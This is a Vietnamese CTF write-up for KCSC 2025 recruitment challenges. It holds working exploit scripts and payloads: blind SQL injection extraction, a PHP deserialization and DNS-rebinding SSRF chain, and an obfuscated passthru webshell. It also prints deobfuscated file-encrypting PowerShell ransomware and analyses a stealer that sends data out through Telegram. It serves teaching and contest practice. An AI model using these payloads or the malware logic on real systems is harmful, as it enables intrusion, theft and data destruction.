Skip to main content

Command Palette

Search for a command to run...

Write Up Tuyển Thành Viên KCSC 2025

Updated
95 min read
Write Up Tuyển Thành Viên KCSC 2025

I. Web

Cre: dunvu0

Check member

<?php
if(isset($_GET['name'])){
    $name = $_GET['name'];
    if(substr_count($name,'(') > 1){
        die('Dont :(');
    }
    $mysqli = new mysqli("mysql-db", "kcsc", "kcsc", "ctf", 3306);

    $result = $mysqli->query("SELECT 1 FROM members WHERE name = '$name'")->fetch_assoc();
    if($result){
        echo 'Found :)';
    } else {
        echo "Not found :(";
    }
    $mysqli->close();
    die();
}
?>

Ở challenge này dễ thấy được có bug SQL injection tại biến $_GET['name']

Cụ thể trang web thực hiện lệnh truy vấn SELECT 1 FROM members WHERE name = '$name' - nếu câu truy vấn có kết quả thì trang web trả về chuỗi Found :), và ngược lại

-> Đây là dạng blind boolean-based sqli.

Bình thường mình sẽ dùng những hàm như substring(), mid()... để extract từng ký tự

Tuy nhiên bài này filter ký tự ( khiến việc sử dụng nhiều hàm gặp khó khăn:

    if(substr_count($name,'(') > 1){
        die('Dont :(');
    }

-> Mình sử dụng các toán tử REGEXP, LIKE... để bypass

Và ở câu lệnh sql trên đang thực hiện truy vấn trên bảng members - mà flag mình cần thì ở bảng secrets nên mình cần phải tìm cách để control được điều kiện trả về đúng/sai của lệnh sql

Điều kiện đúng:

mysql>  SELECT 1 FROM members WHERE name = 'foo'  or not (select flag from secrets where flag like 'kcsc{%');
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+---+
7 rows in set (0.00 sec)

Câu subquery là kiểu string và kết hợp với toán tử NOT thì

mysql> select not 'blabla';
+--------------+
| not 'blabla' |
+--------------+
|            1 |
+--------------+
1 row in set, 1 warning (0.00 sec)

-> NOT 'blabla' tương đương với True

Điều kiện sai:

mysql>  SELECT 1 FROM members WHERE name = 'foo'  or not (select flag from secrets where flag like 'lmao%');

Empty set (0.00 sec)

Câu subquery khi không trả về kết quả sẽ tương đương với NULL

Nhưng NOT NULL vẫn là NULL

  •       mysql> SELECT NOT NULL;
                  -> NULL
    

Payload:

GET index.php?name=foo'  or not (select flag from secrets where flag like 'kcsc{%')`
import requests, string

burp0_url = "http://36.50.177.41:40009/index.php"
burp0_cookies = {"PHPSESSID": "2a84b16a4971c0c06a98bb48e6ce7e39"}

flag = "kcsc{"
charsets = string.ascii_letters + string.digits + "_{}" 

while True:
    for char in charsets:
        payload =  { "name" : f"foo' or not (select flag from secrets where flag like '{flag + char}%')-- -"}
        r = requests.get(burp0_url, cookies=burp0_cookies, params=payload)

        if r.text.find("Found :)") != -1:
            flag += char
            print(flag)
            break

Flag: KCSC{sql_injection_that_de_dung_khong_nao}

Login system

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    @$data = json_decode(file_get_contents("php://input"));
    $username = $data->{'username'} ?? '';
    $password = $data->{'password'} ?? '';

    if (!isset($users[$username])) {
        $error = "User not found!!!";
        echo json_encode(['error' => $error]);
        exit;
    } elseif ($users[$username] == $password) {
        $_SESSION['user'] = $username; 
        echo json_encode(['success' => true, 'redirect' => '?dashboard']);
        exit;
    } else {
        $error = "Incorrect password!!!";
        echo json_encode(['error' => $error]);
        exit;
    }
}

Có bug Loose comparision ở biến password

'aaa' == 0

<?php

if('aaa' == 0){
    echo "YES";
}
else {
    echo "NOPE";
}
// YESS

intercept rồi sửa request với credential {"username":"admin","password": 0 }

Flag: KCSC{u_are_admin<333333333}

write_by_chatgpt

Để lấy được flag ta cần phải login thành công.

Có lỗi ở tính năng reset password

app.post('/reset-password-request', (req, res) => {
    const username = String(req.body.username);

    const sql = `SELECT * FROM users WHERE username = ?`;
    db.get(sql, [username], (err, user) => {
        if (err || !user) {
            return res.status(400).send('User not found');
        }

        const resetToken = jwt.sign({ id: user.id, username: user.username }, JWT_SECRET, { expiresIn: '10m' });

        const resetLink = `http://localhost:${PORT}/reset-password/${resetToken}`;

        //In construction
        res.send('Password reset link sent to your email');
        res.send(resetLink);

    });
});

app.post('/reset-password/:token', (req, res) => {
    const { token } = req.params;
    const newPassword = String(req.body.newPassword);

    if(!uuidRegex.test(newPassword)) return res.status(400).send("Invalid new password")
    jwt.verify(token, JWT_SECRET, (err, decoded) => {
        if (err) {
            return res.status(400).send('Invalid or expired reset token');
        }

        bcrypt.hash(newPassword, 10, (err, hashedPassword) => {
            if (err) {
                return res.status(500).send('Error hashing password');
            }

            const sql = `UPDATE users SET password = ? WHERE id = ?`;
            db.run(sql, [hashedPassword, decoded.id], function (err) {
                if (err) {
                    return res.status(500).send('Error updating password');
                }
                res.send('Password successfully reset');
            });
        });
    });
});

Nó chỉ verify jwt token BẤT KÌ có hợp lệ hay không thay vì verify resetToken

-> Vậy mình có tái sử dụng token cũ được tạo lúc register để reset password

image

Exploit

  1. Tạo một pw bất kỳ thỏa mãn hàm uuidRegex(): 123e4567-e89b-12d3-a456-426614174000

  2. Tiếp tục request tới /reset-password/:token

    {808EC084-9A2D-49EC-ACEE-61E8C8E4421E}

  3. Login với credential dunvu0:123e4567-e89b-12d3-a456-426614174000 lấy flag

    {FA5FC06A-83E2-47EB-BB5B-A7D2A96B3FC1}

Flag: KCSC{alternative_for_view_src_html_warmup_challenge}

yugioh_shop

Để lấy flag ta cần mua đủ bộ 5 lá bài "Exodia"

Tính năng /buy/sell sử dụng quá nhiều lệnh truy vấn sql tới database để kiểm tra trạng thái user => khả năng có lỗi race condition ở đây

@app.route("/sell/<int:item_id>")
def sell(item_id):
    if "user_id" not in session:
        return redirect("/login")
    user = query_db("SELECT * FROM users WHERE id = ?", [session["user_id"]], one=True)
    transaction = query_db("SELECT * FROM transactions WHERE user_id = ? AND item_id = ?", [user[0], item_id], one=True)
    if transaction:
        item = query_db("SELECT * FROM items WHERE id = ?", [item_id], one=True)
        query_db("DELETE FROM transactions WHERE id = ?", [transaction[0]])
        query_db("UPDATE users SET balance = balance + ? WHERE id = ?", [item[2], user[0]])
        flash(f"You sold {item[1]}!", "success")
    else:
        flash("You don't own this item.", "danger")
    return redirect("/")

Vì được cấp sẵn 100k để mua 1 lá bài, mình sẽ sử dụng burp intruder để tiến hành bán liên tục.

Gửi request với null payload option, max_concurrent_request tầm 50

{F5A4BE10-4706-4D45-B23E-2D0608CFE2EE}

-> Confirm có lỗi, số dư của mình đã tăng

Mình lặp lại thao tác mua bán thêm vài lần cho tới khi đủ tiền mua đủ bộ 5 lá

{D44C9170-D08E-4F0D-B3AE-CB3FF0EE1975}

Truy cập /exodia and get flag

Flag: KCSC{easy_challenge_but_the vuln_isnt_popular_with_newbies}

final mission

{D88EBC49-8C23-4593-9818-25E5E2F7275B}

Sau khi tạo tài khoản và đăng nhập, ta được redirect đến /admin.php nhưng gặp lỗi 403 access denied

Ở chall này flag có hai phần, trước hết mình phải khai thác sqli để lấy được Part_1

Flag_1

  • admin.php
<?php
require 'db.php';
require 'utils.php';

session_start();

$stmt= $pdo->query("select * from secret");
$result = $stmt->fetch();
$tokenSecret = $_GET['secret'];
if (!isset($_SESSION['user'])||!isset($_COOKIE['Token'])||$result['secret_key']!==$tokenSecret) {
    die("Access denied!");
}

$user= $_COOKIE['Token'];

$userdata = unserialize(base64_decode($user));

?>

Để truy cập vào admin.php ta cần $secret_key

$secret_key được lưu trong database cùng với Flag_1

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL
);

CREATE TABLE secret (
    id INT AUTO_INCREMENT PRIMARY KEY,
    secret_key VARCHAR(255) NOT NULL
);
CREATE TABLE flagggg (
    id INT AUTO_INCREMENT PRIMARY KEY,
    flag_1 VARCHAR(255) NOT NULL
);

INSERT INTO users (username,password) VALUES ('hoshino','PASS_TEST');
INSERT INTO secret (secret_key) VALUES ('SECRET_TEST');
INSERT INTO flagggg (flag_1) VALUES ('KCSC{part1');
  • search.php có vài điểm đáng lưu ý
<?php
require 'db.php';
session_start();

if (!isset($_SESSION['user'])) {
    die("Access denied!");
}
if(isset($_GET['search'])){
    $username = sprintf("%s", addslashes($_GET["search"]));
    $password= addslashes($_GET["search"]);
    $sql = sprintf("SELECT * FROM users WHERE username LIKE '$username' OR password LIKE '%s'", $password);

    $stmt= $pdo->query($sql);
    $result = $stmt->fetch();
    if ($result) {
        echo "'FOUND "
    } else {
        echo "Lỗi: Không tìm thấy thông tin nào phù hợp."
    }
}
?>

-> Ở biến $_GET["search"] dính lỗi sql injection, cụ thể:

$username$password đều nhận giá trị từ param ?search= nhưng được xử lý khác nhau với hàm sprintf(), addslashes()

Ban đầu mình thử bypass hàm addslashes() với GBK encoding nhưng no hope...

Sau một hồi stuck mình chuyển hướng thử google về hàm sprintf() này:

image

  • Usage: %[argnum$] [flags] [width] [.precision]

Mình có thể format padding như: thêm ký tự padding thay thế bất kỳ

{48C61DA5-E781-4EF3-B537-55C27F32664A}

Và nếu padding là ký tự đặc biệt như \%&*...) thì phải có ký tự \ hoặc % đằng trước, vd: % -> \%

-> Có thể lợi dụng việc format string của sprintf() để escape hàm addslashes() -> sqli

payload: %1$\'

+ quote ' được addslash trở thành %1$\\ '

+ %: Bắt đầu format.

+ 1$: Sử dụng tham số đầu tiên. vì $sql = sprintf("SELECT ....LIKE '%s'", $password). "tham số đầu tiên" là password

+ \: Xác định ký tự padding là \

Format này vẫn chưa đúng, nhưng sprintf() hoạt động giống switch case -> khi format không xác định nó sẽ sử dụng giá trị mặc định

Câu lệnh sql khi được escaped:

{AEE88AB5-6382-449F-94D9-21334A1742A3}

SELECT * FROM users WHERE username LIKE ' Or........  ' Or 1=1;-- -%1$\''

Tham khảo:

Vậy là mình đã có thể inject vào câu query, tiến hành khai thác

exploit.py

import requests, string

burp0_url = "http://36.50.177.41:40010/admin.php"
burp0_cookies = {"PHPSESSID": "2a84b16a4971c0c06a98bb48e6ce7e39", "session": "eyJ1c2VyX2lkIjoyMTF9.Z43_uQ.aTEv5mbmgo5HyXPakyeeiWiyaaI", "Token": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImR1bnZ1byI7czoxMzoiAFVzZXIAaXNBZG1pbiI7TjtzOjg6InBhc3N3b3JkIjtzOjYwOiIkMnkkMTAkRXV1d0E1cDhLRnhxRjZCVi45TGNwdS81eDcucC9RQWVEbDJ4MDlKWUFoUmg5cndOZVdzRjIiO3M6MzoidXJsIjtOO30%3D"}

charset = string.ascii_letters + string.digits + "_{}"
flag = ""

# find length
for i in range(1, 100):
    payload = f"?search=or+(select+length(flag_1)={i}+from+flagggg)%3b--+-%1$"
    r = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)

    if r.text.find("FOUND") != -1:
        length = i
        print(f"password length is: {length}")
        break


# find password
for offset in range(1, length + 1):
    print(f"round: {offset}")
    for i in charset[::-1]:
        payload = f"?search=or+(select+substr(flag_1,{offset},1)=char({ord(i)})+from+flagggg)%3b--+-%251$\\"
        r = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
        if r.text.find("FOUND") != -1:
            flag+= i
            print(flag)
            break

print(f"flag is: {flag}")

Part_1: KCSC{cu_ph4i_g01_l4

Flag_2

Kèm với flag_1 ta lấy luôn password của user tên hoshinosecret_key

  • password: doilathethoi

  • secret_key: chang_biet_da_bao_lau_roi_minh_khong_co_nhau

Trở lại với admin.php:

if (!isset($_SESSION['user'])||!isset($_COOKIE['Token'])||$result['secret_key']!==$tokenSecret) {
    die("Access denied!");
}

kiểm tra xem session của user có tồn tại hay không, cookie có Token và có cung cấp secret key hay không, nếu có thì sẽ unserialize token cookie.

-> Vì nó có sử dụng hàm unserialize() -> khả năng có lỗi php deserialize ở đây.

Tại utils.php có định nghĩa Class User và một số magic method:

<?php 
class User
{
    public $username;
    private $isAdmin;
    public $password;
    public $url;

    // Constructor
    public function __construct($username = "", $password = "", $url = "")
    {
        $this->username = $username;
        $this->password = $password;
        $this->url = $url;
    }
    public function __wakeup(){
        if($this->username === "hoshino" ){
            $this->username="You are not hoshino";
        }
        switch($this->username){
            case "hoshino":
                $this->isAdmin=1;
                break;
            default:
                $this->isAdmin=0;
        }
    }
    public function __destruct(){
        if($this->isAdmin){
            $content='safe';
            $result = parse_url($this->url);
            var_dump($result);
            if($result['scheme']!=='http' && $result['scheme']!=='https'){
                $content="Not support this scheme";
            }
            if(isPrivateIP($result['host'])|| strlen($result['host'])<9){
                $content="Private IP not allowed or Length host too short";
            }
            if (strpos($result['host'], '[') !== false || strpos($result['host'], ']') !== false) {
                $content = "Host contains '[' or ']'.";
            }
            if($content==='safe'){
                $options = [
                    'http' => [
                        'follow_location' => 0
                    ]
                ];
                $context = stream_context_create($options);
                echo file_get_contents($this->url, false, $context);
            }else{
                echo $content;
            }
        }else{
            echo '<div style="display: flex; justify-content: center; align-items: center; height: 100vh; margin: 1; background-color: #f9f9f9;">
        <div style="background-color: #ffdddd; color: #d8000c; border: 1px solid #d8000c; border-radius: 5px; padding: 15px 20px; max-width: 300px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); text-align: center;">
            <strong>Error:</strong> You are not admin.
        </div>
    </div>';
        }
    }
}
  • __wakeup():

    • Thay đổi giá trị của username nếu nó là "hoshino".

    • Thiết lập giá trị cho thuộc tính isAdmin dựa trên giá trị của username.

  • __destruct():

    • Kiểm tra xem người dùng có phải là admin hay không.

    • Nếu là admin, phân tích URL và kiểm tra tính hợp lệ của nó.

    • Nếu URL hợp lệ, thực hiện yêu cầu HTTP và hiển thị nội dung.

    • Nếu URL không hợp lệ hoặc người dùng không phải là admin, hiển thị thông báo lỗi tương ứng.

Chỉ hoshino có role admin nhưng ta không thể dùng mật khẩu thu được trước đó vì login.php sử dụng password_hash()

{F8BB176E-F786-472D-B544-638315BBCF4D}

-> Có hai cách khác để lấy được role Admin ở đây:

  • Để ý __wakeup() sử dụng switch case để kiểm tra username

    image

{113A59A2-D5C5-454D-A9B0-558B2651F44F}

{6BF06985-0744-4B41-905D-A65A5B959EED}

  • Hoặc ta trực tiếp sửa serialize data và thực hiện fast destruct để bỏ qua hàm __wakeup()

      a:2:{i:0;O:4:"User":4:{s:8:"username";s:6:"dunvuo";s:13:"�User�isAdmin";N;s:8:"password";s:3:"123";s:3:"url";s:0:"";}i:0;s:14:"useless string";}
    
  • Hàm __destruct() kiểm tra role admin tiếp tục check tới url nếu thỏa mãn sẽ gọi tới file_get_contents()

            $content='safe';
            $result = parse_url($this->url);
            var_dump($result);
            if($result['scheme']!=='http' && $result['scheme']!=='https'){
                $content="Not support this scheme";
            }
            if(isPrivateIP($result['host'])|| strlen($result['host'])<9){
                $content="Private IP not allowed or Length host too short";
            }
            if (strpos($result['host'], '[') !== false || strpos($result['host'], ']') !== false) {
                $content = "Host contains '[' or ']'.";
            }
            if($content==='safe'){
                $options = [
                    'http' => [
                        'follow_location' => 0
                    ]
                ];
                $context = stream_context_create($options);
                echo file_get_contents($this->url, false, $context);
function isPrivateIP($input) {
    if (filter_var($input, FILTER_VALIDATE_IP)) {
        $ip = $input;
    } else {
        $ip = gethostbyname($input);
        if (filter_var($ip, FILTER_VALIDATE_IP) === false) {
            return false;
        }
    }
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
        if ($ip === '127.0.0.1') {
            return true;
        }
        $privateRanges = [
            ['10.0.0.0', '10.255.255.255'],
            ['172.16.0.0', '172.31.255.255'],
            ['192.168.0.0', '192.168.255.255'],
        ];

        $ipLong = ip2long($ip);

        foreach ($privateRanges as [$start, $end]) {
            if ($ipLong >= ip2long($start) && $ipLong <= ip2long($end)) {
                return true;
            }
        }
    }
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
        if ($ip === '::1') {
            return true;
        }
        if (strpos($ip, 'fc') === 0 || strpos($ip, 'fd') === 0) {
            return true;
        }
    }
    return false;
}

Ta có thể tận dụng file_get_contents() đọc flag_2 tại flag_final.php

<?php
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip === '127.0.0.1' || $ip === '::1' || $ip === 'localhost') {
    echo "Flag_part2: part2}";
} else {
    echo "Bạn không có quyền truy cập vào trang này.";
    exit;
}
?>
  • Kiểm tra và lấy địa chỉ IP:

    • Sử dụng filter_var() với FILTER_VALIDATE_IP để kiểm tra xem $input có phải là địa chỉ IP hợp lệ hay không.

    • Nếu $input không phải là địa chỉ IP hợp lệ, sử dụng gethostbyname() để lấy địa chỉ IP từ hostname.

    • Nếu địa chỉ IP sau khi lấy từ hostname vẫn không hợp lệ, hàm trả về false.

  • Kiểm tra địa chỉ IPv4:

    • Sử dụng filter_var() với FILTER_FLAG_IPV4 để kiểm tra xem địa chỉ IP có phải là IPv4 hay không.

    • Nếu địa chỉ IP là 127.0.0.1, hàm trả về true.

    • Chuyển đổi địa chỉ IP sang dạng số nguyên bằng ip2long(). Kiểm tra xem địa chỉ IP có nằm trong các dải địa chỉ IP riêng tư hay không.

  • Kiểm tra địa chỉ IPv6:

    • Sử dụng filter_var() với FILTER_FLAG_IPV6 để kiểm tra xem địa chỉ IP có phải là IPv6 hay không.

    • Nếu địa chỉ IP là ::1, hàm trả về true.

    • Kiểm tra xem địa chỉ IP có bắt đầu bằng fc hoặc fd (địa chỉ IPv6 riêng tư) hay không.

Mục đích cuối cùng là một url truy cập tới http://localhost/flag_final.php để đọc flag

Mình tách đoạn xử lý filter url riêng ra để tiện test

{2431468E-4293-4AE6-A4D1-C5D0CC441384}

{438C6019-13DE-4623-B4CE-579C5B1128F4}

Đây không phải intended solution của tác giả, mình gặp may nên bypass phần ip này khá dễ dàng... tobe continued...

intended: sử dụng dns rebinding

  • Bởi hàm isPrivateIP() xử lý có thực hiện phân giải tên miền thành ip với gethostbyname(). sau đó lại file_get_content() với chính url đó.

  • Sử dụng tool _ tạo một domain có 2 lần thay đổi địa IP A, B. Khi hê thống phân giải tên miền lần đầu sẽ trỏ tới ip hợp lệ, nhưng lần phân giải thứ hai lại trỏ về localhost

    {FBC2283C-8757-49A3-B30B-B168F36A2440}

{3ECEDD87-5328-4C35-84A1-C82C36D0D375}

Tham khảo: - https://cookiearena.org/penetration-testing/dns-rebinding-la-gi/ - https://www.youtube.com/watch?v=Xu519u5B-dM - https://danielmiessler.com/blog/dns-rebinding-explained - https://lock.cmpxchg8b.com/rebinder.html

Payload cuối cùng:

O:4:"User":4:{s:8:"username";i:0;s:13:"\0User\0isAdminN;s:8:"password";s:60:"$2y$10$EuuwA5p8KFxqF6BV.9Lcpu/5x7.p/QAeDl2x09JYAhRh9rwNeWsF2";s:3:"url";s:48:"http://01020304.c0a80001.rbndr.us/flag_final.php";}

{BE678CCF-AC2B-4EC9-893B-524069DC4068}

Flag_2: D1n4N0c_K1Ch_Tr4n_B4y_Ph4p_Ph01} KCSC{Cu_Ph4i_G01_L4_D1n4_N0c_K1Ch_Tr4n_B4y_Ph4p_Ph01}

todo

Những bài sau mình không hoàn thành kịp trong thời gian diễn ra giải

image

Break

Ở bài này mình dễ dàng thấy được bug để đọc file flag tại route /home

image

Tuy nhiên ta cần có tài khoản admin để truy cập vào đường dẫn này...

Mình chuyển sang xem kỹ hơn tại tính năng register:

@app.route('/register', methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if not request.data:
                return jsonify({"error": "No data provided"}), 200

            data = json.loads(request.data)
            username = data.get("username")
            password = data.get("password")

            m = re.search(r".*", username)
            if m.group().strip().find("admin") == 0:
                return jsonify({"message": "Invalid username"}), 200

            if not username or not password:
                return jsonify({"message": "Registration failed, missing fields"}), 200

            if len(password) < 8:
                return jsonify({"message": "Password must be at least 8 characters"}), 200

            user = User()
            user.username = username.strip()
            user.password = password.strip()
            Users.append(user)
            return jsonify({"message": "Registration successful"}), 200

Có thể thấy ở đây trang web đang cố chặn người dùng đăng ký tài khoản với username là admin. Cụ thể nó sử dụng regex .* để trích xuất toàn bộ input người dùng nhập vào sau đó kiểm tra nếu username bắt đầu với chuỗi "admin" thì sẽ trả lỗi.

            m = re.search(r".*", username)
            if m.group().strip().find("admin") == 0:
                return jsonify({"message": "Invalid username"}), 200

-> Ở đây có một vấn đề đó là: trang web thực hiện kiểm tra username trước rồi lại đi strip()

            user.username = username.strip()
            user.password = password.strip()

Thêm nữa dữ liệu input được xử lý bằng json.loads()

            data = json.loads(request.data)
            username = data.get("username")
            password = data.get("password")

Trong khi cách lấy POST data thường gặp là:

{4EE3BE89-FFD6-4B0D-909F-AEC5E95A8D3E}

https://stackoverflow.com/questions/13279399/how-to-obtain-values-of-request-variables-using-python-and-flask

-> Những chuỗi như \r \n sẽ được chuyển thành ký tự xuống dòng thực sự thay vì là "raw string"

Lý do dùng \r\nadmin bypass thành công nhưng admin\r\n thì không: Đó là vì phần kiểm tra username sử dụng regex pattern .* -> mà theo docs nói:

(Dot.) In the default mode, this matches any character EXCEPT A NEWLINE

Khi đó biến m sẽ không match được bất kỳ input nào ta nhập vào. Vậy là mình đã có thể bypass và reg được account admin

{110F58D9-6D13-4272-BDD4-9F2643768C0B}

Tiếp theo chỉ cần truy cập route /home và lấy flag:

GET /home?protocol=file&host=/flag.txt

giftcard

Flag được load vào biến môi trường

FLAG = os.environ.get("FLAG", "KCSC{FAKE_FLAG}")
@app.route("/card")
def render_card():
    sender = request.args.get("sender")
    receiver = request.args.get("receiver")

    card = Card(receiver, sender)
    card_content = request.args.get("card_content")

    xmas_card = "From: {card.sender}\r\nTo: {card.receiver}\r\n" + card_content
    xmas_card = xmas_card.format(card=card) 

    return render_template("card.html", xmas_card=xmas_card)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

-> Lỗi tại đoạn ....format(card=card)

payload:

GET /card?card_content={card.__init__.__globals__['FLAG']}`:

-> Vì .format(card=card): không sử dụng {{}}{} trong trường hợp này đóng vai trò là placeholder của hàm format(), cần truyền object card vào đây.

XXD Service

Đây là một challenge black-box, trang web này cho phép người dùng upload một file bất kỳ, một điểm đáng chú ý là mặc dù tên file bị sửa random nhưng đuôi extension của file mình upload vẫn được giữ nguyên (.php)

-> Có thể RCE nếu mình có thể upload được file chứa webshell

Bên cạnh đó trang web cũng chặn một số từ khóa nguy hiểm và ta cần phải bypass

image

-> Bypass tag mở php với uppercase<?phP -> hàm system(), exec() thường dùng bị chặn -> ngoài ra có passthru() -> vậy payload tạm thời là <?phP passthru([$_GET['cmd']]);

Tuy nhiên khi truy cập vào file "upload_abcabc.php" thì nhận thấy nội dung file đã bị thay đổi

{3C64D7F5-7993-4509-9E1E-B40CEB134C17}

-> Có vẻ ở phía backend đã thực hiện một số lệnh kiểu như:

xxd filename > uploads/user_/...chall.<ext>

The xxd command is a utility used in Unix-like operating systems to create a hexadecimal dump of a file or standard input. It can also perform the reverse operation, converting a hexadecimal dump back into its original binary form.

Kết quả là webshell mình tạo đã bị rối vào đống hexdump được tạo ra, php không thể thực thi vì lỗi cú pháp

-> Bypass với comment - /**/

Payload:

<?phP   /**/$a="p"/**/."ass"/**/."thr"/**/."u"; /**/$b="c"/**/."at "/**/."/f" /**/."*"; /**/$a($b);

II. Forensics

Cre: trithong1906

HDSD

image

Step 1

  1. Challenge cung cấp cho em file HDSD.ad1 nên em mở bằng FTK image.

  2. Duyệt qua các folder thì dễ dàng thấy được folder Downloads có voucher mà đề bài đề cập đương nhiên nó bị mã hóa rồi.

image

  1. Theo đề bài thì bạn M vô tình tải file mã độc, theo kinh nghiệm của em mấy bài liên quan đến tải mã độc hay liên quan đến trình duyệt lắm nên em điều tra mấy folder của trình duyệt.

  2. Chỉ có 1 trình duyệt được sử dụng ở máy của nạn nhân là EDGE nếu điều tra bình thường thì sẽ không thấy được gì ở những folder của EDGE nhưng Windows 10 phiên bản 22H2 nên Microsoft Edge tích hợp chế độ IE để hỗ trợ các ứng dụng hoặc trang web cũ chỉ hoạt động trên Internet Explorer, đây là giải pháp thay thế chính thức và được Microsoft hỗ trợ lâu dài.

  3. Vì thế em đã chuyển sang folder INetCache để điều tra và đã tìm được malware.

image

Sở dĩ em biết tìm ở folder INetCache vì năm 2020 ở giải của mấy anh Ấn độ cũng từng có challenge liên quan đến đường dẫn như vậy nhưng đó là trên windows cũ, và trong thực tế cũng có người bắt gặp malware nằm trong đường dẫn folder tương tự như vậy https://learn.microsoft.com/en-us/answers/questions/905889/malware-found-in-c-users(username)appdatalocalmicr

Step 2

Dùng cyberchef ta sẽ xem được đoạn mã thật sự

image

Nhưng nó bị obfuscator dùng powerdecode để deobfuscator

iEx ((('function XOR-String {    param([string]xlJInputString, [string]xlJKey)        xlJinputBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJInputString)    xlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey)    xlJoutputBytes = @()        for (xlJi = 0; xlJi -lt xlJinputBytes.Length; xlJi++) {        xlJoutputBytes += xlJinputBytes[xlJi] -bxor xlJkeyBytes[xlJi % xlJkeyBytes.Length]    }    return [System.Text.Encoding]::UTF8.GetString(xlJoutputBytes)}xlJPCName = xlJenv:COMPUTERNAMExlJKey = XOR-String -InputString xlJPCName -Key 6zoUwU6zoxlJIV = XOR-String -InputString xlJPCName -Key 6zoXD6zoxlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey.PadRight(16).Substring(0,16))xlJivBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJIV.PadRight(16).Substring(0,16))function Encrypt-File {    param([string]xlJInputFile, [string]xlJOutputFile)        xlJaes = [System.Security.Cryptography.Aes]::Create()    xlJaes.Key = xlJkeyBytes    xlJaes.IV = xlJivBytes    xlJencryptor = xlJaes.CreateEncryptor()    xlJinputBytes = [System.IO.File]::ReadAllBytes(xlJInputFile)    xlJencryptedBytes = xlJencryptor.TransformFinalBlock(xlJinputBytes, 0, xlJinputBytes.Length)    [System.IO.File]::WriteAllBytes(xlJOutputFile, xlJencryptedBytes)}Get-ChildItem -File -Recurse CiE ForEach-Object {    xlJinputFile = xlJ_.FullName    xlJoutputFile = 6zoxlJ(xlJ_.FullName).cucked6zo    Encrypt-File -InputFile xlJinputFile -OutputFile xlJoutputFile    if (xlJ_.Extension -ne 6zo.cucked6zo) {        Remove-Item -Path xlJinputFile -Force    }}')-cReplaCe  'xlJ','$'-RepLAce '6zo','"' -RepLAce  'CiE','|'))

Cả đoạn mã thực chất đang được nhúng trong chuỗi (bị xáo trộn) và được thực thi qua iEx.

Toàn bộ cơ chế:

  • Lấy tên máy tính để sinh ra Key và IV.

  • Duyệt toàn bộ các tệp.

  • Mã hóa bằng AES (với Key/IV đã sinh).

  • Xóa tệp gốc.

  • Thêm đuôi .cucked cho file mã hóa mới.

Step 3

Giờ thì bây giờ ta chỉ cần biết được tên máy tính thì sẽ giải mã được voucher Tên máy tính thì có thể dùng registry explorer xem ở hive file SYSTEM

image

Step 4

Dùng script để giải:

from Crypto.Cipher import AES

def xor_string(input_str, key_str):
    input_bytes = input_str.encode('utf-8')
    key_bytes = key_str.encode('utf-8')
    output = bytearray(input_bytes[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(input_bytes)))
    return output.decode('utf-8', errors='ignore')

def derive_key_and_iv(pc_name):
    key_str = xor_string(pc_name, "UwU")
    iv_str = xor_string(pc_name, "XD")
    key_padded = (key_str + ' ' * 16)[:16]
    iv_padded = (iv_str + ' ' * 16)[:16]
    return key_padded.encode('utf-8'), iv_padded.encode('utf-8')

def decrypt_data(encrypted_data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    pad_len = decrypted[-1]
    return decrypted[:-pad_len] if pad_len > 0 and pad_len <= 16 else decrypted

def main():
    PC_NAME = "DESKTOP-SH94VUS"
    key, iv = derive_key_and_iv(PC_NAME)
    in_file = "Voucher_hoc_bong_chuyen_auto_pass_mon.txt.cucked"

    with open(in_file, "rb") as f:
        encrypted_data = f.read()

    decrypted_data = decrypt_data(encrypted_data, key, iv)

    print(decrypted_data.decode('utf-8'))

if __name__ == "__main__":
    main()

Flag

KCSC{the^?_cha^'t_KMA_la`_nhung~_niem`_dau}

Note

Có lẽ đây là hướng unintended đúng ra là nên bắt đầu từ file HDSD.chm, giải nén nó ra sẽ có đường link như thế này để download file về:

image

Invitation

image

Step 1

Challenge cung cấp cho 2 file: 1 file pdf và 1 file .cmd, nhưng trong giải lúc giải nén em không để ý là giải nén ra nó bị trùng tên và bị mất file pdf thành ra em chỉ thấy được mỗi file .cmd .cmd và em cũng không biết nó là file gì, cat thì toàn kí tự không đọc được nên em strings ra để đọc được.

Khi strings thì sẽ thấy được 2 url và 1 vài đường dẫn khác.

Quan trọng là 2 url này: https://raw.githubusercontent.com/NVex0/Asset/main/WindowsUpdate

image

Còn url này để tải về file Snake.zip ở đó sẽ chứa file WindowsUpdate.py https://raw.githubusercontent.com/NVex0/Asset/main/Snake.zip

Step 2

WindowsUpdate.py cho thấy đây là một mã độc dạng stealers.

  1. Chức năng chính:

    • Trích xuất thông tin nhạy cảm từ các trình duyệt web được cài đặt trên máy, bao gồm:

      • Dữ liệu đăng nhập: Tài khoản và mật khẩu.

      • Thông tin thẻ tín dụng.

      • Cookie.

      • Lịch sử duyệt web.

      • Tệp đã tải xuống.

  2. Cách thức hoạt động:

    • Lấy khóa mã hóa từ trình duyệt (master key).

    • Giải mã dữ liệu nhạy cảm bằng cách sử dụng thuật toán AES.

    • Lưu trữ dữ liệu tại thư mục: C:\Users\Public\Snake\.

    • Exfiltrate qua API của Telegram đến tài khoản của hacker.

  3. Kênh gửi dữ liệu:

    • API Telegram:

        https://api.telegram.org/bot<bot_token>/sendDocument
      
      • Chat ID: 5814016276 (ID của hacker).

